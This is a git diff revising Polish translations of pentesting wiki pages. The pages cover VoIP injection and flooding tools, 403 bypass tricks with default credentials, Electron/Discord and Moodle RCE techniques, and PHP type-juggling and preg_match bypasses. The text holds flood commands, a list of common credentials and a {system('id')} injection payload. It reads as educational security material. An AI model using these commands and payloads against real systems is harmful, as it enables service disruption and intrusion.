-It's possible to insert a **`.wav`** in converstions using tools such as **`rtpinsertsound`** (`sudo apt install rtpinsertsound`) and **`rtpmixsound`** (`sudo apt install rtpmixsound`).
+Możliwe jest wstawienie **`.wav`** w rozmowach za pomocą narzędzi takich jak **`rtpinsertsound`** (`sudo apt install rtpinsertsound`) i **`rtpmixsound`** (`sudo apt install rtpmixsound`).
 
-Or you could use the scripts from [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) to **scan conversations** (**`rtpscan.pl`**), send a `.wav` to a conversation (**`rtpsend.pl`**) and **insert noise** in a conversation (**`rtpflood.pl`**).
+Możesz również użyć skryptów z [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/), aby **zeskanować rozmowy** (**`rtpscan.pl`**), wysłać `.wav` do rozmowy (**`rtpsend.pl`**) i **wstawić hałas** w rozmowie (**`rtpflood.pl`**).
 
 ### DoS
 
-There are several ways to try to achieve DoS in VoIP servers.
+Istnieje kilka sposobów, aby spróbować osiągnąć DoS na serwerach VoIP.
 
-- **`SIPPTS flood`** from [**sippts**](https://github.com/Pepelux/sippts)\*\*: SIPPTS flood sends unlimited messages to the target.
+- **`SIPPTS flood`** z [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS flood wysyła nieograniczoną liczbę wiadomości do celu.
 - `sippts flood -i 10.10.0.10 -m invite -v`
-- **`SIPPTS ping`** from [**sippts**](https://github.com/Pepelux/sippts)\*\*: SIPPTS ping makes a SIP ping to see the server response time.
+- **`SIPPTS ping`** z [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS ping wykonuje ping SIP, aby zobaczyć czas odpowiedzi serwera.
 - `sippts ping -i 10.10.0.10`
-- [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS IAX protocol used by Asterisk
-- [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): A tool to perform SIP/SDP INVITE message flooding over UDP/IP.
-- [**rtpflood**](https://www.kali.org/tools/rtpflood/): Send several well formed RTP packets. Its needed to know the RTP ports that are being used (sniff first).
-- [**SIPp**](https://github.com/SIPp/sipp): Allows to analyze and generate SIP traffic. so it can be used to DoS also.
-- [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): SIP swiss army knife. Can also be used to perform SIP attacks.
-- Fuzzers: [**protos-sip**](https://www.kali.org/tools/protos-sip/), [**voiper**](https://github.com/gremwell/voiper).
+- [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS protokołu IAX używanego przez Asterisk.
+- [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): Narzędzie do przeprowadzania floodingu wiadomości SIP/SDP INVITE przez UDP/IP.
+- [**rtpflood**](https://www.kali.org/tools/rtpflood/): Wysyła kilka dobrze uformowanych pakietów RTP. Należy znać porty RTP, które są używane (najpierw sniff).
+- [**SIPp**](https://github.com/SIPp/sipp): Umożliwia analizę i generowanie ruchu SIP, więc może być również używane do DoS.
+- [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): Szwajcarski scyzoryk SIP. Może być również używane do przeprowadzania ataków SIP.
+- Fuzzery: [**protos-sip**](https://www.kali.org/tools/protos-sip/), [**voiper**](https://github.com/gremwell/voiper).
 
-### OS Vulnerabilities
+### Luki w systemie operacyjnym
 
-The easiest way to install a software such as Asterisk is to download an **OS distribution** that has it already installed, such as: **FreePBX, Elastix, Trixbox**... The problem with those is that once it's working sysadmins might **nie aktualizować ich ponownie** i **vulnerabilities** będą odkrywane z czasem.
+Najłatwiejszym sposobem na zainstalowanie oprogramowania takiego jak Asterisk jest pobranie **dystrybucji OS**, która ma je już zainstalowane, takich jak: **FreePBX, Elastix, Trixbox**... Problem z nimi polega na tym, że gdy już działają, administratorzy systemów mogą **nie aktualizować ich ponownie**, a **luki** będą odkrywane z czasem.
 
-## References
+## Odnośniki
 
 - [https://github.com/Pepelux/sippts/wiki](https://github.com/Pepelux/sippts/wiki)
 - [https://github.com/EnableSecurity/sipvicious](https://github.com/EnableSecurity/sipvicious)
diff --git a/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md b/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md
index b14f27e8a..c26364bd1 100644
--- a/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md
+++ b/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md
@@ -6,9 +6,9 @@
 
 Spróbuj użyć **różnych metod** do uzyskania dostępu do pliku: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK`
 
-- Sprawdź nagłówki odpowiedzi, może pojawią się jakieś informacje. Na przykład, **odpowiedź 200** na **HEAD** z `Content-Length: 55` oznacza, że **metoda HEAD może uzyskać dostęp do informacji**. Ale nadal musisz znaleźć sposób na wyeksportowanie tych informacji.
+- Sprawdź nagłówki odpowiedzi, może pojawią się jakieś informacje. Na przykład, **odpowiedź 200** na **HEAD** z `Content-Length: 55` oznacza, że **metoda HEAD może uzyskać dostęp do informacji**. Ale nadal musisz znaleźć sposób na wyeksfiltrowanie tych informacji.
 - Użycie nagłówka HTTP, takiego jak `X-HTTP-Method-Override: PUT`, może nadpisać używaną metodę.
-- Użyj **metody `TRACE`** i jeśli będziesz miał dużo szczęścia, może w odpowiedzi zobaczysz również **nagłówki dodane przez pośrednie serwery proxy**, które mogą być przydatne.
+- Użyj **metody `TRACE`** i jeśli masz dużo szczęścia, może w odpowiedzi zobaczysz również **nagłówki dodane przez pośrednie proxy**, które mogą być przydatne.
 
 ## Fuzzing nagłówków HTTP
 
@@ -38,14 +38,14 @@ Jeśli **ścieżka jest chroniona**, możesz spróbować obejść ochronę ście
 - Jeśli strona jest **za proxy**, może to proxy uniemożliwiać dostęp do prywatnych informacji. Spróbuj wykorzystać [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/index.html) **lub** [**nagłówki hop-by-hop**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
 - Fuzz [**specjalne nagłówki HTTP**](special-http-headers.md), szukając różnych odpowiedzi.
 - **Fuzzing specjalnych nagłówków HTTP** podczas fuzzingu **metod HTTP**.
-- **Usuń nagłówek Host** i może uda ci się obejść ochronę.
+- **Usuń nagłówek Host** i być może będziesz w stanie obejść ochronę.
 
-## Fuzzing **ścieżki**
+## Fuzzing **ścieżek**
 
 Jeśli _/path_ jest zablokowane:
 
-- Spróbuj użyć _**/**_**%2e/path \_(jeśli dostęp jest zablokowany przez proxy, to może obejść ochronę). Spróbuj także**\_\*\* /%252e\*\*/path (podwójne kodowanie URL)
-- Spróbuj **obejścia Unicode**: _/**%ef%bc%8f**path_ (zakodowane znaki URL są jak "/"), więc po ponownym zakodowaniu będzie to _//path_ i może już udało ci się obejść sprawdzanie nazwy _/path_
+- Spróbuj użyć `/%2e/path` (jeśli dostęp jest zablokowany przez proxy, to może obejść ochronę). Spróbuj również `/%252e**/path` (podwójne kodowanie URL)
+- Spróbuj **obejścia Unicode**: _/**%ef%bc%8f**path_ (zakodowane znaki URL są jak "/"), więc po ponownym zakodowaniu będzie to _//path_ i być może już obejdziesz sprawdzanie nazwy _/path_
 - **Inne obejścia ścieżek**:
 - site.com/secret –> HTTP 403 Forbidden
 - site.com/SECRET –> HTTP 200 OK
@@ -93,7 +93,7 @@ Jeśli używasz HTTP/1.1 **spróbuj użyć 1.0** lub nawet przetestuj, czy **obs
 
 ## **Brute Force**
 
-- **Zgadnij hasło**: Przetestuj następujące powszechne dane uwierzytelniające. Czy wiesz coś o ofierze? Lub nazwę wyzwania CTF?
+- **Zgadnij hasło**: Przetestuj następujące powszechne dane uwierzytelniające. Czy wiesz coś o ofierze? Lub o nazwie wyzwania CTF?
 - [**Brute force**](../../generic-hacking/brute-force.md#http-brute)**:** Spróbuj podstawowej, digest i autoryzacji NTLM.
 ```:Common creds
 admin    admin
@@ -105,7 +105,7 @@ root     toor
 test     test
 guest    guest
 ```
-## Narzędzia automatyczne
+## Automatyczne Narzędzia
 
 - [https://github.com/lobuhi/byp4xx](https://github.com/lobuhi/byp4xx)
 - [https://github.com/iamj0ker/bypass-403](https://github.com/iamj0ker/bypass-403)
diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md
index bcba76325..07bb6b705 100644
--- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md
+++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md
@@ -29,16 +29,16 @@ return 1337
 
 CLICK
 ```
-Sprawdź oryginalne slajdy, aby znaleźć inne sposoby uruchamiania programów bez pytania o uprawnienia.
+Sprawdź oryginalne slajdy, aby znaleźć inne sposoby uruchamiania programów bez wyświetlania monitu o pozwolenie.
 
 Najwyraźniej innym sposobem na załadowanie i wykonanie kodu jest dostęp do czegoś takiego jak `file://127.0.0.1/electron/rce.jar`
 
-## Przykład 2: RCE w aplikacji Discord
+## Przykład 2: RCE aplikacji Discord
 
 Przykład z [https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1](https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1)
 
-Podczas sprawdzania skryptów preload odkryłem, że Discord udostępnia funkcję, która pozwala na wywoływanie niektórych dozwolonych modułów za pomocą `DiscordNative.nativeModules.requireModule('MODULE-NAME')`, na stronie internetowej.\
-Tutaj nie mogłem użyć modułów, które mogą być używane do RCE bezpośrednio, takich jak moduł _child_process_, ale **znalazłem kod, w którym RCE można osiągnąć przez nadpisanie wbudowanych metod JavaScript** i ingerowanie w wykonanie udostępnionego modułu.
+Podczas sprawdzania skryptów preload odkryłem, że Discord udostępnia funkcję, która pozwala na wywoływanie niektórych dozwolonych modułów za pomocą `DiscordNative.nativeModules.requireModule('MODULE-NAME')` w stronie internetowej.\
+Tutaj nie mogłem użyć modułów, które mogą być używane do RCE bezpośrednio, takich jak moduł _child_process_, ale **znalazłem kod, w którym RCE można osiągnąć przez nadpisanie wbudowanych metod JavaScript** i ingerencję w wykonanie udostępnionego modułu.
 
 Poniżej znajduje się PoC. Udało mi się potwierdzić, że aplikacja **calc** jest **wywoływana**, gdy **wywołuję funkcję `getGPUDriverVersions`**, która jest zdefiniowana w module o nazwie "_discord_utils_" z devTools, podczas **nadpisywania `RegExp.prototype.test` i `Array.prototype.join`**.
 ```javascript
@@ -71,9 +71,9 @@ result.nvidia = { error: e.toString() }
 return result
 }
 ```
-Zwykle _execa_ próbuje wykonać "_nvidia-smi.exe_", który jest określony w zmiennej `nvidiaSmiPath`, jednak z powodu nadpisanego `RegExp.prototype.test` i `Array.prototype.join`, **argument jest zastępowany na "**_**calc**_**" w wewnętrznym przetwarzaniu _execa**\_**. 
+Zwykle _execa_ próbuje wykonać "_nvidia-smi.exe_", który jest określony w zmiennej `nvidiaSmiPath`, jednak z powodu nadpisanego `RegExp.prototype.test` i `Array.prototype.join`, **argument jest zastępowany na "**_**calc**_**" w wewnętrznym przetwarzaniu _execa**_**. 
 
-Specyficznie, argument jest zastępowany przez zmianę następujących dwóch części. 
+Konkretne, argument jest zastępowany poprzez zmianę następujących dwóch części. 
 
 [https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36)
 
diff --git a/src/network-services-pentesting/pentesting-web/imagemagick-security.md b/src/network-services-pentesting/pentesting-web/imagemagick-security.md
index 640da51a7..ad7552bf3 100644
--- a/src/network-services-pentesting/pentesting-web/imagemagick-security.md
+++ b/src/network-services-pentesting/pentesting-web/imagemagick-security.md
@@ -1,18 +1,18 @@
-# Bezpieczeństwo ImageMagick
+# ImageMagick Security
 
 {{#include ../../banners/hacktricks-training.md}}
 
 Sprawdź szczegóły w [**https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html**](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html)
 
-ImageMagick, wszechstronna biblioteka do przetwarzania obrazów, stawia wyzwanie w konfigurowaniu swojej polityki bezpieczeństwa z powodu rozbudowanych opcji i braku szczegółowej dokumentacji online. Użytkownicy często tworzą polityki na podstawie fragmentarycznych źródeł internetowych, co prowadzi do potencjalnych błędów konfiguracyjnych. Biblioteka obsługuje ogromną liczbę ponad 100 formatów obrazów, co przyczynia się do jej złożoności i profilu podatności, co zostało udowodnione przez historyczne incydenty bezpieczeństwa.
+ImageMagick, wszechstronna biblioteka do przetwarzania obrazów, stawia wyzwanie w konfigurowaniu swojej polityki bezpieczeństwa z powodu rozbudowanych opcji i braku szczegółowej dokumentacji online. Użytkownicy często tworzą polityki na podstawie fragmentarycznych źródeł internetowych, co prowadzi do potencjalnych błędów w konfiguracji. Biblioteka obsługuje ogromną liczbę ponad 100 formatów obrazów, z których każdy przyczynia się do jej złożoności i profilu podatności, co zostało udowodnione przez historyczne incydenty bezpieczeństwa.
 
 ## W kierunku bezpieczniejszych polityk
 
 Aby sprostać tym wyzwaniom, [opracowano narzędzie](https://imagemagick-secevaluator.doyensec.com/), które ma pomóc w projektowaniu i audytowaniu polityk bezpieczeństwa ImageMagick. Narzędzie to opiera się na szerokich badaniach i ma na celu zapewnienie, że polityki są nie tylko solidne, ale także wolne od luk, które mogłyby być wykorzystane.
 
-## Podejście do listy dozwolonej vs lista zabroniona
+## Podejście Allowlist vs Denylist
 
-Historycznie, polityki ImageMagick opierały się na podejściu do listy zabronionej, w którym dostęp odmawiano konkretnym kodom. Jednak zmiany w ImageMagick 6.9.7-7 zmieniły ten paradygmat, umożliwiając podejście do listy dozwolonej. To podejście najpierw odmawia dostępu wszystkim kodom, a następnie selektywnie przyznaje dostęp zaufanym, co zwiększa bezpieczeństwo.
+Historycznie, polityki ImageMagick opierały się na podejściu denylist, w którym dostęp do konkretnych kodów był zabroniony. Jednak zmiany w ImageMagick 6.9.7-7 zmieniły ten paradygmat, umożliwiając podejście allowlist. To podejście najpierw odmawia dostępu wszystkim kodom, a następnie selektywnie przyznaje dostęp zaufanym, co zwiększa bezpieczeństwo.
 ```xml
 ...
 
@@ -21,7 +21,7 @@ Historycznie, polityki ImageMagick opierały się na podejściu do listy zabroni
 ```
 ## Wrażliwość na wielkość liter w politykach
 
-Ważne jest, aby zauważyć, że wzorce polityk w ImageMagick są wrażliwe na wielkość liter. Dlatego zapewnienie, że programiści i moduły są poprawnie zapisane wielką literą w politykach, jest kluczowe, aby zapobiec niezamierzonym uprawnieniom.
+Ważne jest, aby zauważyć, że wzorce polityk w ImageMagick są wrażliwe na wielkość liter. Dlatego zapewnienie, że programiści i moduły są poprawnie zapisane wielkimi literami w politykach, jest kluczowe, aby zapobiec niezamierzonym uprawnieniom.
 
 ## Limity zasobów
 
@@ -33,14 +33,14 @@ Polityki mogą być fragmentowane w różnych instalacjach ImageMagick, co prowa
 ```shell
 $ find / -iname policy.xml
 ```
-## Szablon Restrykcyjnej Polityki
+## Polityka Startowa, Ograniczająca
 
-Zaproponowano szablon restrykcyjnej polityki, koncentrujący się na surowych ograniczeniach zasobów i kontrolach dostępu. Szablon ten służy jako punkt wyjścia do opracowywania dostosowanych polityk, które odpowiadają specyficznym wymaganiom aplikacji.
+Zaproponowano szablon polityki ograniczającej, koncentrujący się na surowych ograniczeniach zasobów i kontrolach dostępu. Szablon ten służy jako punkt wyjścia do opracowywania dostosowanych polityk, które odpowiadają specyficznym wymaganiom aplikacji.
 
 Skuteczność polityki bezpieczeństwa można potwierdzić za pomocą polecenia `identify -list policy` w ImageMagick. Dodatkowo, narzędzie [evaluator tool](https://imagemagick-secevaluator.doyensec.com/) wspomniane wcześniej może być użyte do udoskonalenia polityki w oparciu o indywidualne potrzeby.
 
 ## Odniesienia
 
-- [https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html\*\*](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html)
+- [https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html**](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html)
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/moodle.md b/src/network-services-pentesting/pentesting-web/moodle.md
index 89cb55ff5..0553f38f2 100644
--- a/src/network-services-pentesting/pentesting-web/moodle.md
+++ b/src/network-services-pentesting/pentesting-web/moodle.md
@@ -66,11 +66,11 @@ Zauważyłem, że automatyczne narzędzia są dość **bezużyteczne w znajdowan
 
 ## **RCE**
 
-Musisz mieć rolę **menedżera** i **możesz instalować wtyczki** w zakładce **"Zarządzanie witryną"**\*\*:\*\*
+Musisz mieć rolę **menedżera** i **możesz instalować wtyczki** w zakładce **"Zarządzanie witryną"**: 
 
 ![](<../../images/image (630).png>)
 
-Jeśli jesteś menedżerem, możesz nadal potrzebować **aktywować tę opcję**. Możesz zobaczyć, jak to działa w PoC eskalacji uprawnień moodle: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
+Jeśli jesteś menedżerem, możesz nadal potrzebować **aktywować tę opcję**. Możesz zobaczyć jak w PoC eskalacji uprawnień moodle: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
 
 Następnie możesz **zainstalować następującą wtyczkę**, która zawiera klasyczny pentest-monkey php r**ev shell** (_przed przesłaniem musisz ją rozpakować, zmienić IP i port revshell i ponownie skompresować_)
 
@@ -78,7 +78,7 @@ Następnie możesz **zainstalować następującą wtyczkę**, która zawiera kla
 moodle-rce-plugin.zip
 {{#endfile}}
 
-Lub możesz użyć wtyczki z [https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE), aby uzyskać regularny shell PHP z parametrem "cmd".
+Lub możesz użyć wtyczki z [https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE), aby uzyskać zwykły powłokę PHP z parametrem "cmd".
 
 Aby uzyskać dostęp do uruchomienia złośliwej wtyczki, musisz uzyskać dostęp do:
 ```bash
diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md
index 5876f3551..d26c2dc5b 100644
--- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md
+++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md
@@ -2,7 +2,7 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Cookies wspólna lokalizacja:
+## Typowe lokalizacje ciasteczek:
 
 To również dotyczy ciasteczek phpMyAdmin.
 
@@ -33,17 +33,17 @@ EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf
 {{#endfile}}
 
 - `"string" == 0 -> True` Ciąg znaków, który nie zaczyna się od liczby, jest równy liczbie
-- `"0xAAAA" == "43690" -> True` Ciągi składające się z liczb w formacie dziesiętnym lub szesnastkowym mogą być porównywane z innymi liczbami/ciągami z wynikiem True, jeśli liczby były takie same (liczby w ciągu są interpretowane jako liczby)
+- `"0xAAAA" == "43690" -> True` Ciągi składające się z liczb w formacie dec lub hex mogą być porównywane z innymi liczbami/ciągami z wynikiem True, jeśli liczby były takie same (liczby w ciągu są interpretowane jako liczby)
 - `"0e3264578" == 0 --> True` Ciąg zaczynający się od "0e" i następnie cokolwiek będzie równy 0
 - `"0X3264578" == 0X --> True` Ciąg zaczynający się od "0" i następnie dowolna litera (X może być dowolną literą) i następnie cokolwiek będzie równy 0
-- `"0e12334" == "0" --> True` To jest bardzo interesujące, ponieważ w niektórych przypadkach możesz kontrolować ciąg wejściowy "0" oraz niektóre treści, które są haszowane i porównywane z nim. Dlatego, jeśli możesz dostarczyć wartość, która stworzy hash zaczynający się od "0e" i bez żadnej litery, możesz obejść porównanie. Możesz znaleźć **już haszowane ciągi** w tym formacie tutaj: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
+- `"0e12334" == "0" --> True` To jest bardzo interesujące, ponieważ w niektórych przypadkach możesz kontrolować wejście ciągu "0" i niektóre treści, które są haszowane i porównywane z nim. Dlatego, jeśli możesz dostarczyć wartość, która stworzy hash zaczynający się od "0e" i bez żadnej litery, możesz obejść porównanie. Możesz znaleźć **już haszowane ciągi** w tym formacie tutaj: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
 - `"X" == 0 --> True` Dowolna litera w ciągu jest równa int 0
 
 Więcej informacji w [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
 
 ### **in_array()**
 
-**Typ Juggling** również wpływa na funkcję `in_array()` domyślnie (musisz ustawić trzeci argument na true, aby dokonać ścisłego porównania):
+**Typ Juggling** wpływa również na funkcję `in_array()` domyślnie (musisz ustawić trzeci argument na true, aby dokonać ścisłego porównania):
 ```php
 $values = array("apple","orange","pear","grape");
 var_dump(in_array(0, $values));
@@ -64,17 +64,17 @@ Ten sam błąd występuje z `strcasecmp()`
 
 ### Ścisłe rzutowanie typów
 
-Nawet jeśli `===` jest **używane**, mogą wystąpić błędy, które sprawiają, że **porównanie jest podatne** na **rzutowanie typów**. Na przykład, jeśli porównanie **konwertuje dane na inny typ obiektu przed porównaniem**:
+Nawet jeśli `===` **jest używane**, mogą wystąpić błędy, które sprawiają, że **porównanie jest podatne** na **rzutowanie typów**. Na przykład, jeśli porównanie **konwertuje dane na inny typ obiektu przed porównaniem**:
 ```php
 (int) "1abc" === (int) "1xyz" //This will be true
 ```
 ### preg_match(/^.\*/)
 
-**`preg_match()`** może być używane do **walidacji danych wejściowych użytkownika** (sprawdza, czy jakiekolwiek **słowo/regex** z **czarnej listy** jest **obecne** w **danych wejściowych użytkownika**, a jeśli nie, kod może kontynuować swoje wykonanie).
+**`preg_match()`** może być użyty do **walidacji danych wejściowych użytkownika** (sprawdza, czy jakiekolwiek **słowo/regex** z **czarnej listy** jest **obecne** w **danych wejściowych użytkownika**, a jeśli nie, kod może kontynuować swoje wykonanie).
 
 #### Ominięcie nowej linii
 
-Jednakże, przy delimitacji początku regexp, `preg_match()` **sprawdza tylko pierwszą linię danych wejściowych użytkownika**, więc jeśli w jakiś sposób możesz **wysłać** dane wejściowe w **kilku liniach**, możesz być w stanie obejść tę kontrolę. Przykład:
+Jednakże, podczas delimitacji początku regexp `preg_match()` **sprawdza tylko pierwszą linię danych wejściowych użytkownika**, więc jeśli w jakiś sposób możesz **wysłać** dane wejściowe w **kilku liniach**, możesz być w stanie obejść to sprawdzenie. Przykład:
 ```php
 $myinput="aaaaaaa
 11111111"; //Notice the new line
@@ -98,7 +98,7 @@ Znajdź przykład tutaj: [https://ramadistra.dev/fbctf-2019-rceservice](https://
 #### **Obejście błędu długości**
 
 (To obejście było podobno testowane na PHP 5.2.5 i nie mogłem go uruchomić na PHP 7.3.15)\
-Jeśli możesz wysłać do `preg_match()` ważny bardzo **duży input**, **nie będzie w stanie go przetworzyć** i będziesz mógł **obejść** sprawdzenie. Na przykład, jeśli czarna lista dotyczy JSON-a, możesz wysłać:
+Jeśli możesz wysłać do `preg_match()` ważny bardzo **duży input**, **nie będzie w stanie go przetworzyć** i będziesz mógł **obejść** kontrolę. Na przykład, jeśli czarna lista dotyczy JSON-a, możesz wysłać:
 ```bash
 payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
 ```
@@ -110,9 +110,9 @@ Sztuczka z: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
 
 
-Krótko mówiąc, problem występuje, ponieważ funkcje `preg_*` w PHP opierają się na [bibliotece PCRE](http://www.pcre.org/). W PCRE niektóre wyrażenia regularne są dopasowywane przy użyciu wielu wywołań rekurencyjnych, co zużywa dużo miejsca na stosie. Można ustawić limit na liczbę dozwolonych rekurencji, ale w PHP ten limit [domyślnie wynosi 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), co jest więcej niż mieści się na stosie. +Krótko mówiąc, problem występuje, ponieważ funkcje `preg_*` w PHP opierają się na [bibliotece PCRE](http://www.pcre.org/). W PCRE niektóre wyrażenia regularne są dopasowywane przy użyciu wielu wywołań rekurencyjnych, co zużywa dużo miejsca na stosie. Można ustawić limit na liczbę dozwolonych rekurencji, ale w PHP ten limit [domyślnie wynosi 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), co przekracza pojemność stosu. -[Ten wątek na Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) również został podlinkowany w poście, w którym bardziej szczegółowo omawia się ten problem. Nasze zadanie było teraz jasne:\ +[Ten wątek na Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) również został podlinkowany w poście, w którym bardziej szczegółowo omawiano ten problem. Nasze zadanie było teraz jasne:\ **Wysłać dane wejściowe, które spowodują, że regex wykona 100_000+ rekurencji, powodując SIGSEGV, co sprawi, że funkcja `preg_match()` zwróci `false`, a aplikacja pomyśli, że nasze dane wejściowe nie są złośliwe, zaskakując na końcu ładunku czymś w rodzaju `{system()}` w celu uzyskania SSTI --> RCE --> flag :)**. Cóż, w terminach regex, tak naprawdę nie wykonujemy 100k "rekurencji", ale zamiast tego liczymy "kroki cofania", które, jak stwierdza [dokumentacja PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), domyślnie wynosi 1_000_000 (1M) w zmiennej `pcre.backtrack_limit`.\ @@ -120,7 +120,7 @@ Aby to osiągnąć, `'X'*500_001` spowoduje 1 milion kroków cofania (500k do pr ```python payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}" ``` -### Typ Juggling dla obfuskacji PHP +### Typowe przełączanie typów dla obfuskacji PHP ```php $obfs = "1"; //string "1" $obfs++; //int 2 @@ -153,17 +153,17 @@ Check: ## More tricks -- **register_globals**: W **PHP < 4.1.1.1** lub w przypadku błędnej konfiguracji, **register_globals** może być aktywne (lub ich zachowanie jest naśladowane). Oznacza to, że w zmiennych globalnych takich jak $\_GET, jeśli mają wartość np. $\_GET\["param"]="1234", możesz uzyskać do nich dostęp przez **$param. Dlatego, wysyłając parametry HTTP, możesz nadpisać zmienne\*\* używane w kodzie. -- **Ciasteczka PHPSESSION tej samej domeny są przechowywane w tym samym miejscu**, dlatego jeśli w obrębie domeny **używane są różne ciasteczka w różnych ścieżkach**, możesz sprawić, że ścieżka **uzyska dostęp do ciasteczka innej ścieżki**, ustawiając wartość ciasteczka innej ścieżki.\ +- **register_globals**: W **PHP < 4.1.1.1** lub w przypadku błędnej konfiguracji, **register_globals** może być aktywne (lub ich zachowanie jest naśladowane). Oznacza to, że w zmiennych globalnych takich jak $\_GET, jeśli mają wartość np. $\_GET\["param"]="1234", możesz uzyskać do nich dostęp przez **$param. Dlatego, wysyłając parametry HTTP, możesz nadpisać zmienne** używane w kodzie. +- **Ciasteczka PHPSESSION tej samej domeny są przechowywane w tym samym miejscu**, dlatego jeśli w obrębie domeny **używane są różne ciasteczka w różnych ścieżkach**, możesz sprawić, że jedna ścieżka **uzyska dostęp do ciasteczka drugiej ścieżki**, ustawiając wartość ciasteczka innej ścieżki.\ W ten sposób, jeśli **obie ścieżki uzyskują dostęp do zmiennej o tej samej nazwie**, możesz sprawić, że **wartość tej zmiennej w path1 będzie miała zastosowanie w path2**. A następnie path2 uzna za ważne zmienne z path1 (nadając ciasteczku nazwę, która odpowiada jej w path2). - Kiedy masz **nazwy użytkowników** użytkowników maszyny. Sprawdź adres: **/\~\**, aby zobaczyć, czy katalogi php są aktywowane. -- Jeśli konfiguracja php ma **`register_argc_argv = On`**, to parametry zapytania oddzielone spacjami są używane do wypełnienia tablicy argumentów **`array_keys($_SERVER['argv'])`** tak, jakby były **argumentami z CLI**. To jest interesujące, ponieważ jeśli ta **ustawienie jest wyłączone**, wartość **tablicy args będzie `Null`** gdy jest wywoływana z sieci, ponieważ tablica ars nie będzie wypełniona. Dlatego, jeśli strona internetowa próbuje sprawdzić, czy działa jako narzędzie webowe czy jako narzędzie CLI z porównaniem takim jak `if (empty($_SERVER['argv'])) {`, atakujący mógłby wysłać **parametry w żądaniu GET takie jak `?--configPath=/lalala`** i pomyśli, że działa jako CLI i potencjalnie przetworzy i użyje tych argumentów. Więcej informacji w [oryginalnym artykule](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms). +- Jeśli konfiguracja php ma **`register_argc_argv = On`**, to parametry zapytania oddzielone spacjami są używane do wypełnienia tablicy argumentów **`array_keys($_SERVER['argv'])`** tak, jakby były **argumentami z CLI**. To jest interesujące, ponieważ jeśli **to ustawienie jest wyłączone**, wartość **tablicy args będzie `Null`** gdy jest wywoływana z sieci, ponieważ tablica ars nie będzie wypełniona. Dlatego, jeśli strona internetowa próbuje sprawdzić, czy działa jako narzędzie webowe czy jako narzędzie CLI z porównaniem takim jak `if (empty($_SERVER['argv'])) {`, atakujący mógłby wysłać **parametry w żądaniu GET takie jak `?--configPath=/lalala`** i pomyśli, że działa jako CLI i potencjalnie przetworzy i użyje tych argumentów. Więcej informacji w [oryginalnym artykule](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms). - [**LFI i RCE używając wrapperów php**](../../../pentesting-web/file-inclusion/index.html) ### password_hash/password_verify -Funkcje te są zazwyczaj używane w 